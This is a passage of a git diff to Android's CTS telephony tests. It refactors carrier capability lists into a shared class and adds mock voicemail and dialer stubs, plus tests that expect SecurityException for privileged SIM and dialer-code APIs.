+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.telephony.cts.preconditions.app">
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.telephony.cts.preconditions.app"
+                     android:label="Device-side CTS telephony preparation" />
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java b/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
new file mode 100644
index 0000000..8f53f7d
--- /dev/null
+++ b/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts.preconditions.app;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+import com.android.compatibility.common.preconditions.TelephonyHelper;
+
+/**
+ * A test to verify that device-side preconditions are met for CTS
+ */
+public class TelephonyPreparerAppTest extends AndroidTestCase {
+    private static final String TAG = "TelephonyPreparerAppTest";
+
+    /**
+     * Test if device has a valid phone number
+     * @throws Exception
+     */
+    public void testPhoneNumberPresent() throws Exception {
+        PackageManager pm = this.getContext().getPackageManager();
+        if (!pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return; // do not test for phone number on devices without telephony feature
+        }
+
+        assertTrue("Device must have a SIM card with phone number in order to run CTS",
+                TelephonyHelper.hasPhoneNumber(this.getContext()));
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/preconditions/src/android/telephony/cts/preconditions/TelephonyPreparer.java b/tests/tests/telephony/preconditions/src/android/telephony/cts/preconditions/TelephonyPreparer.java
new file mode 100644
index 0000000..965c752
--- /dev/null
+++ b/tests/tests/telephony/preconditions/src/android/telephony/cts/preconditions/TelephonyPreparer.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts.preconditions;
+
+import com.android.compatibility.common.tradefed.targetprep.ApkInstrumentationPreparer;
+import com.android.tradefed.config.OptionClass;
+
+/**
+ * Ensures that the appropriate telephony service is available on the device
+ */
+@OptionClass(alias="telephony-preparer")
+public class TelephonyPreparer extends ApkInstrumentationPreparer {
+
+    public TelephonyPreparer() {
+        mWhen = When.BEFORE;
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/CarrierCapability.java b/tests/tests/telephony/src/android/telephony/cts/CarrierCapability.java
new file mode 100644
index 0000000..fa64856
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/cts/CarrierCapability.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import java.util.Arrays;
+import java.util.List;
+
+public class CarrierCapability {
+
+    // List of network operators that don't support SMS delivery report
+    public static final List<String> NO_DELIVERY_REPORTS =
+            Arrays.asList(
+                    "310410",   // AT&T Mobility
+                    "44010",    // NTT DOCOMO
+                    "45005",    // SKT Mobility
+                    "45002",    // SKT Mobility
+                    "45008",    // KT Mobility
+                    "45028",    // KT Safety Network
+                    "45006",    // LGT
+                    "311660",   // MetroPCS
+                    "310120",   // Sprint
+                    "44050",    // KDDI
+                    "44051",    // KDDI
+                    "44053",    // KDDI
+                    "44054",    // KDDI
+                    "44070",    // KDDI
+                    "44071",    // KDDI
+                    "44072",    // KDDI
+                    "44073",    // KDDI
+                    "44074",    // KDDI
+                    "44075",    // KDDI
+                    "44076",    // KDDI
+                    "50502",    // OPS
+                    "51502",    // Globe Telecoms
+                    "51503",    // Smart Communications
+                    "51505",    // Sun Cellular
+                    "53001",    // Vodafone New Zealand
+                    "53024",    // NZC
+                    "311870",   // Boost Mobile
+                    "311220",   // USCC
+                    "311225",   // USCC LTE
+                    "311580",   // USCC LTE
+                    "302720",   // Rogers
+                    "30272",    // Rogers
+                    "302370",   // Fido
+                    "30237",    // Fido
+                    "311490",   // Virgin Mobile
+                    "312530",   // Sprint Prepaid
+                    "310000",   // Tracfone
+                    "46003",    // China Telecom
+                    "311230",   // C SPire Wireless + Celluar South
+                    "310600",    // Cellcom
+                    "31000",     // Republic Wireless US
+                    "310260",    // Republic Wireless US
+                    "310026",     // T-Mobile US
+                    "330120", // OpenMobile communication
+                    // Verizon
+                    "310004",
+                    "310012",
+                    "311280",
+                    "311281",
+                    "311282",
+                    "311283",
+                    "311284",
+                    "311285",
+                    "311286",
+                    "311287",
+                    "311288",
+                    "311289",
+                    "311480",
+                    "311481",
+                    "311482",
+                    "311483",
+                    "311484",
+                    "311485",
+                    "311486",
+                    "311487",
+                    "311488",
+                    "311489"
+            );
+
+    // List of network operators that doesn't support Data(binary) SMS message
+    public static final List<String> UNSUPPORT_DATA_SMS_MESSAGES =
+            Arrays.asList(
+                    "44010",    // NTT DOCOMO
+                    "44020",    // SBM
+                    "44051",    // KDDI
+                    "302720",   // Rogers
+                    "30272",    // Rogers
+                    "302370",   // Fido
+                    "30237",    // Fido
+                    "45008",    // KT
+                    "45005",    // SKT Mobility
+                    "45002",     // SKT Mobility
+                    "45006",    // LGT
+                    "310260",   // Republic Wireless US
+                    // Verizon
+                    "310004",
+                    "310012",
+                    "311280",
+                    "311281",
+                    "311282",
+                    "311283",
+                    "311284",
+                    "311285",
+                    "311286",
+                    "311287",
+                    "311288",
+                    "311289",
+                    "311480",
+                    "311481",
+                    "311482",
+                    "311483",
+                    "311484",
+                    "311485",
+                    "311486",
+                    "311487",
+                    "311488",
+                    "311489"
+            );
+
+    // List of network operators that doesn't support Maltipart SMS message
+    public static final List<String> UNSUPPORT_MULTIPART_SMS_MESSAGES =
+            Arrays.asList(
+                    "44010",    // NTT DOCOMO
+                    "44020",    // SBM
+                    "44051",    // KDDI
+                    "302720",   // Rogers
+                    "30272",    // Rogers
+                    "302370",   // Fido
+                    "30237",    // Fido
+                    "45006",    // LGT
+                    "45008"     // KT
+            );
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java b/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java
index 9205f0e..6c180b4 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java
@@ -17,8 +17,6 @@
 
 
 import android.content.Context;
-import android.cts.util.ReadElf;
-import android.cts.util.TestThread;
 import android.os.Looper;
 import android.net.ConnectivityManager;
 import android.telephony.CellLocation;
@@ -29,6 +27,9 @@
 import android.content.pm.PackageManager;
 import android.util.Log;
 
+import com.android.compatibility.common.util.ReadElf;
+import com.android.compatibility.common.util.TestThread;
+
 public class CellLocationTest extends AndroidTestCase{
     private boolean mOnCellLocationChangedCalled;
     private final Object mLock = new Object();
diff --git a/tests/tests/telephony/src/android/telephony/cts/MockVisualVoicemailService.java b/tests/tests/telephony/src/android/telephony/cts/MockVisualVoicemailService.java
new file mode 100644
index 0000000..abc1661
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/cts/MockVisualVoicemailService.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import android.os.Bundle;
+import android.telecom.PhoneAccountHandle;
+import android.telephony.VisualVoicemailService;
+import android.telephony.VisualVoicemailSms;
+
+import java.util.concurrent.CompletableFuture;
+
+/**
+ * A mock {@link VisualVoicemailService} that the tests can set callbacks
+ */
+public class MockVisualVoicemailService extends VisualVoicemailService {
+
+    private static CompletableFuture<VisualVoicemailSms> sSmsFuture;
+
+    public static void setSmsFuture(CompletableFuture<VisualVoicemailSms> future) {
+        sSmsFuture = future;
+    }
+
+    @Override
+    public void onCellServiceConnected(VisualVoicemailTask task,
+            PhoneAccountHandle phoneAccountHandle) {
+        // Do nothing, cannot be tested by automatic CTS
+    }
+
+    @Override
+    public void onSmsReceived(VisualVoicemailTask task, VisualVoicemailSms sms) {
+        if (sSmsFuture != null) {
+            sSmsFuture.complete(sms);
+        }
+    }
+
+    @Override
+    public void onSimRemoved(VisualVoicemailTask task, PhoneAccountHandle phoneAccountHandle) {
+        // Do nothing, cannot be tested by automatic CTS
+    }
+
+    @Override
+    public void onStopped(VisualVoicemailTask task) {
+        // TODO(twyen): test after task timeout is implemented.
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/PermissionlessVisualVoicemailService.java b/tests/tests/telephony/src/android/telephony/cts/PermissionlessVisualVoicemailService.java
new file mode 100644
index 0000000..ca6c18f
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/cts/PermissionlessVisualVoicemailService.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+/**
+ * Same as {@link MockVisualVoicemailService} but does not require {@link
+ * android.Manifest.permission.BIND_VISUAL_VOICEMAIL_SERVICE} in the manifest and should never be
+ * bound by the system.
+ */
+public class PermissionlessVisualVoicemailService extends MockVisualVoicemailService{
+
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/src/android/telephony/cts/PhoneStateListenerTest.java
index 18aa23f..d18a9f5 100644
--- a/tests/tests/telephony/src/android/telephony/cts/PhoneStateListenerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/PhoneStateListenerTest.java
@@ -16,8 +16,6 @@
 package android.telephony.cts;
 
 import android.content.Context;
-import android.cts.util.ReadElf;
-import android.cts.util.TestThread;
 import android.os.Looper;
 import android.telephony.CellLocation;
 import android.telephony.PhoneStateListener;
@@ -29,6 +27,9 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.ReadElf;
+import com.android.compatibility.common.util.TestThread;
+
 public class PhoneStateListenerTest extends  AndroidTestCase{
 
     public static final long WAIT_TIME = 1000;
diff --git a/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java b/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
index 0f09314..b15a4e8 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
@@ -265,4 +265,20 @@
         } catch (SecurityException expected) {
         }
     }
+
+    /**
+     * Tests the TelephonyManager.getIccAuthentication() API. This makes a call to
+     * getIccAuthentication() API and expects a SecurityException since the test apk is not
+     * signed by certificate on the SIM.
+     */
+    public void testGetIccAuthentication() {
+        try {
+            if (isSimCardPresent()) {
+                TelephonyManager.getDefault().getIccAuthentication(TelephonyManager.APPTYPE_USIM,
+                        TelephonyManager.AUTHTYPE_EAP_AKA, "");
+                fail("Expected SecurityException. App doesn't have carrier privileges.");
+            }
+        } catch (SecurityException expected) {
+        }
+    }
 }
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
index 9e908d5..8ffee99 100755
--- a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
@@ -72,135 +72,6 @@
     private static final String DATA_SMS_RECEIVED_ACTION = "android.intent.action.DATA_SMS_RECEIVED";
     public static final String SMS_DELIVER_DEFAULT_APP_ACTION = "CTS_SMS_DELIVERY_ACTION_DEFAULT_APP";
 
-    // List of network operators that don't support SMS delivery report
-    private static final List<String> NO_DELIVERY_REPORTS =
-            Arrays.asList(
-                    "310410",   // AT&T Mobility
-                    "44010",    // NTT DOCOMO
-                    "45005",    // SKT Mobility
-                    "45002",    // SKT Mobility
-                    "45008",    // KT Mobility
-                    "45028",    // KT Safety Network
-                    "45006",    // LGT
-                    "311660",   // MetroPCS
-                    "310120",   // Sprint
-                    "44050",    // KDDI
-                    "44051",    // KDDI
-                    "44053",    // KDDI
-                    "44054",    // KDDI
-                    "44070",    // KDDI
-                    "44071",    // KDDI
-                    "44072",    // KDDI
-                    "44073",    // KDDI
-                    "44074",    // KDDI
-                    "44075",    // KDDI
-                    "44076",    // KDDI
-                    "50502",    // OPS
-                    "51502",    // Globe Telecoms
-                    "51503",    // Smart Communications
-                    "51505",    // Sun Cellular
-                    "53001",    // Vodafone New Zealand
-                    "53024",    // NZC
-                    "311870",   // Boost Mobile
-                    "311220",   // USCC
-                    "311225",   // USCC LTE
-                    "311580",   // USCC LTE
-                    "302720",   // Rogers
-                    "30272",    // Rogers
-                    "302370",   // Fido
-                    "30237",    // Fido
-                    "311490",   // Virgin Mobile
-                    "312530",   // Sprint Prepaid
-                    "310000",   // Tracfone
-                    "46003",    // China Telecom
-                    "311230",   // C SPire Wireless + Celluar South
-                    "310600",    // Cellcom
-                    "31000",     // Republic Wireless US
-                    "310260",    // Republic Wireless US
-                    "310026",     // T-Mobile US
-                    "330120", // OpenMobile communication
-                    "334100",   // Mexsat
-                    // Verizon
-                    "310004",
-                    "310012",
-                    "311280",
-                    "311281",
-                    "311282",
-                    "311283",
-                    "311284",
-                    "311285",
-                    "311286",
-                    "311287",
-                    "311288",
-                    "311289",
-                    "311480",
-                    "311481",
-                    "311482",
-                    "311483",
-                    "311484",
-                    "311485",
-                    "311486",
-                    "311487",
-                    "311488",
-                    "311489"
-            );
-
-    // List of network operators that doesn't support Data(binary) SMS message
-    private static final List<String> UNSUPPORT_DATA_SMS_MESSAGES =
-            Arrays.asList(
-                    "44010",    // NTT DOCOMO
-                    "44020",    // SBM
-                    "44051",    // KDDI
-                    "302720",   // Rogers
-                    "30272",    // Rogers
-                    "302370",   // Fido
-                    "30237",    // Fido
-                    "45008",    // KT
-                    "45005",    // SKT Mobility
-                    "45002",     // SKT Mobility
-                    "45006",    // LGT
-                    "310260",   // Republic Wireless US
-                    "334100",   // Mexsat
-                    // Verizon
-                    "310004",
-                    "310012",
-                    "311280",
-                    "311281",
-                    "311282",
-                    "311283",
-                    "311284",
-                    "311285",
-                    "311286",
-                    "311287",
-                    "311288",
-                    "311289",
-                    "311480",
-                    "311481",
-                    "311482",
-                    "311483",
-                    "311484",
-                    "311485",
-                    "311486",
-                    "311487",
-                    "311488",
-                    "311489"
-            );
-
-    // List of network operators that doesn't support Maltipart SMS message
-    private static final List<String> UNSUPPORT_MULTIPART_SMS_MESSAGES =
-            Arrays.asList(
-                    "44010",    // NTT DOCOMO
-                    "44020",    // SBM
-                    "44051",    // KDDI
-                    "302720",   // Rogers
-                    "30272",    // Rogers
-                    "302370",   // Fido
-                    "30237",    // Fido
-                    "45006",    // LGT
-                    "45008",    // KT
-                    "334100"    // Mexsat
-            );
-
     private TelephonyManager mTelephonyManager;
     private PackageManager mPackageManager;
     private String mDestAddr;
@@ -240,7 +111,7 @@
         } else {
             // exclude the networks that don't support SMS delivery report
             String mccmnc = mTelephonyManager.getSimOperator();
-            mDeliveryReportSupported = !(NO_DELIVERY_REPORTS.contains(mccmnc));
+            mDeliveryReportSupported = !(CarrierCapability.NO_DELIVERY_REPORTS.contains(mccmnc));
         }
     }
 
@@ -457,7 +328,7 @@
      */
     private int sendMultipartTextMessageIfSupported(String mccmnc) {
         int numPartsSent = 0;
-        if (!UNSUPPORT_MULTIPART_SMS_MESSAGES.contains(mccmnc)) {
+        if (!CarrierCapability.UNSUPPORT_MULTIPART_SMS_MESSAGES.contains(mccmnc)) {
             init();
             ArrayList<String> parts = divideMessage(LONG_TEXT);
             numPartsSent = parts.size();
@@ -473,7 +344,7 @@
     }
 
     private boolean sendDataMessageIfSupported(String mccmnc) {
-        if (!UNSUPPORT_DATA_SMS_MESSAGES.contains(mccmnc)) {
+        if (!CarrierCapability.UNSUPPORT_DATA_SMS_MESSAGES.contains(mccmnc)) {
             byte[] data = mText.getBytes();
             short port = 19989;
 
diff --git a/tests/tests/telephony/src/android/telephony/cts/StubDialerActivity.java b/tests/tests/telephony/src/android/telephony/cts/StubDialerActivity.java
new file mode 100644
index 0000000..bd2970f
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/cts/StubDialerActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import android.app.Activity;
+
+/**
+ * Does nothing. Listens to the dial intent to make the test eligible to be set as the default
+ * dialer
+ */
+public class StubDialerActivity extends Activity {
+
+
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/StubInCallService.java b/tests/tests/telephony/src/android/telephony/cts/StubInCallService.java
new file mode 100644
index 0000000..51491d2
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/cts/StubInCallService.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import android.telecom.InCallService;
+
+/**
+ * A in call service that does nothing except allowing CTS telephony to be set as a default dialer
+ */
+public class StubInCallService extends InCallService {
+
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
index 9b08397..f7ec3b7 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -17,7 +17,6 @@
 package android.telephony.cts;
 
 import android.content.Context;
-import android.cts.util.TestThread;
 import android.net.ConnectivityManager;
 import android.os.Looper;
 import android.telephony.SubscriptionInfo;
@@ -25,6 +24,8 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.TestThread;
+
 import java.util.List;
 
 public class SubscriptionManagerTest extends AndroidTestCase {
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index 7f3f6b6..a6404e0 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -27,7 +27,6 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.PackageManager;
-import android.cts.util.TestThread;
 import android.net.ConnectivityManager;
 import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
@@ -38,7 +37,6 @@
 import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
-import android.telephony.CarrierConfigManager;
 import android.telephony.CellLocation;
 import android.telephony.PhoneStateListener;
 import android.telephony.ServiceState;
@@ -46,6 +44,7 @@
 import android.text.TextUtils;
 import android.util.Log;
 
+import com.android.compatibility.common.util.TestThread;
 
 import org.junit.After;
 import org.junit.Before;
@@ -71,7 +70,6 @@
         mTelephonyManager =
                 (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
         mCm = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-
         mPackageManager = getContext().getPackageManager();
     }
 
@@ -192,17 +190,21 @@
         mTelephonyManager.getPhoneCount();
         mTelephonyManager.getDataEnabled();
         mTelephonyManager.getNetworkSpecifier();
-
         TelecomManager telecomManager = (TelecomManager) getContext()
-            .getSystemService(Context.TELECOM_SERVICE);
+                .getSystemService(Context.TELECOM_SERVICE);
         PhoneAccountHandle defaultAccount = telecomManager
-            .getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
+                .getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
         mTelephonyManager.getVoicemailRingtoneUri(defaultAccount);
         mTelephonyManager.isVoicemailVibrationEnabled(defaultAccount);
+        mTelephonyManager.getCarrierConfig();
     }
 
     @Test
     public void testCreateForPhoneAccountHandle(){
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
         TelecomManager telecomManager = getContext().getSystemService(TelecomManager.class);
         PhoneAccountHandle handle =
                 telecomManager.getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
@@ -405,9 +407,8 @@
 
     @Test
     public void testGetNetworkCountryIso() {
-        PackageManager packageManager = getContext().getPackageManager();
         String countryCode = mTelephonyManager.getNetworkCountryIso();
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             assertTrue("Country code '" + countryCode + "' did not match "
                     + ISO_COUNTRY_CODE_PATTERN,
                     Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
@@ -418,9 +419,8 @@
 
     @Test
     public void testGetSimCountryIso() {
-        PackageManager packageManager = getContext().getPackageManager();
         String countryCode = mTelephonyManager.getSimCountryIso();
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             assertTrue("Country code '" + countryCode + "' did not match "
                     + ISO_COUNTRY_CODE_PATTERN,
                     Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
@@ -461,17 +461,6 @@
         assertEquals(mServiceState, mTelephonyManager.getServiceState());
     }
 
-    @Test
-    public void testGetCarrierConfig() {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-        CarrierConfigManager carrierConfigManager =
-                getContext().getSystemService(CarrierConfigManager.class);
-        assertEquals(mTelephonyManager.getCarrierConfig(), carrierConfigManager.getConfig());
-    }
-
     /**
      * Tests that the device properly reports either a valid IMEI or null.
      */
@@ -551,6 +540,25 @@
     }
 
     /**
+     * Tests sendDialerSpecialCode API.
+     * Expects a security exception since the caller does not have carrier privileges or is not the
+     * current default dialer app.
+     */
+    @Test
+    public void testSendDialerSpecialCode() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+        try {
+            mTelephonyManager.sendDialerSpecialCode("4636");
+            fail("Expected SecurityException. App does not have carrier privileges or is not the "
+                    + "default dialer app");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
      * Tests that the device properly reports the contents of EF_FPLMN or null
      */
     @Test
diff --git a/tests/tests/telephony/src/android/telephony/cts/VisualVoicemailServiceTest.java b/tests/tests/telephony/src/android/telephony/cts/VisualVoicemailServiceTest.java
new file mode 100644
index 0000000..c6c5ced
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/cts/VisualVoicemailServiceTest.java
@@ -0,0 +1,729 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.database.sqlite.SQLiteException;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ParcelFileDescriptor;
+import android.provider.Telephony.Sms;
+import android.provider.Telephony.Sms.Intents;
+import android.support.annotation.Nullable;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+import android.telephony.SmsManager;
+import android.telephony.SmsMessage;
+import android.telephony.TelephonyManager;
+import android.telephony.VisualVoicemailSms;
+import android.telephony.VisualVoicemailSmsFilterSettings;
+import android.test.InstrumentationTestCase;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.ByteBuffer;
+import java.nio.charset.CharacterCodingException;
+import java.nio.charset.CharsetDecoder;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class VisualVoicemailServiceTest extends InstrumentationTestCase {
+
+    private static final String TAG = "VvmServiceTest";
+
+    private static final String COMMAND_SET_DEFAULT_DIALER = "telecom set-default-dialer ";
+
+    private static final String COMMAND_GET_DEFAULT_DIALER = "telecom get-default-dialer";
+
+    private static final String PACKAGE = "android.telephony.cts";
+
+    private static final long EVENT_RECEIVED_TIMEOUT_MILLIS = 60_000;
+    private static final long EVENT_NOT_RECEIVED_TIMEOUT_MILLIS = 1_000;
+
+    private Context mContext;
+    private TelephonyManager mTelephonyManager;
+
+    private String mPreviousDefaultDialer;
+
+    private PhoneAccountHandle mPhoneAccountHandle;
+    private String mPhoneNumber;
+
+    private SmsBroadcastReceiver mSmsReceiver;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getContext();
+        if (hasTelephony(mContext)) {
+            mPreviousDefaultDialer = getDefaultDialer(getInstrumentation());
+            setDefaultDialer(getInstrumentation(), PACKAGE);
+
+            TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
+            mPhoneAccountHandle = telecomManager
+                    .getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
+            mPhoneNumber = telecomManager.getLine1Number(mPhoneAccountHandle);
+
+            mTelephonyManager = mContext.getSystemService(TelephonyManager.class)
+                    .createForPhoneAccountHandle(mPhoneAccountHandle);
+        }
+
+        PackageManager packageManager = mContext.getPackageManager();
+        packageManager.setComponentEnabledSetting(
+                new ComponentName(mContext, MockVisualVoicemailService.class),
+                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
+        packageManager.setComponentEnabledSetting(
+                new ComponentName(mContext, PermissionlessVisualVoicemailService.class),
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (hasTelephony(mContext)) {
+            if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
+                setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
+            }
